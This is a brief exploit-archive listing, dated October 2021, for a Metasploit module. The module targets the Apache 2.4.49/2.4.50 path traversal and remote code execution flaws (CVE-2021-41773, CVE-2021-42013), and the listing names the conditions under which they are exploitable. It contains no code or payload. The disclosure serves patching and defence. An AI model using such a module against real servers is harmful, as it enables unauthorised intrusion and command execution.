Apache 2.4.49 / 2.4.50 Traversal / Remote Code Execution

Apache 2.4.49 / 2.4.50 Traversal / Remote Code Execution
Posted Oct 25, 2021
Authored by Dhiraj Mishra, Ramella Sebastien, Ash Daulton | Site metasploit.com

This Metasploit module exploits an unauthenticated remote code execution vulnerability which exists in Apache version 2.4.49 (CVE-2021-41773). If files outside of the document root are not protected by ‘require all denied’ and CGI has been explicitly enabled, it can be used to execute arbitrary commands. This vulnerability has been reintroduced in the Apache 2.4.50 fix (CVE-2021-42013).
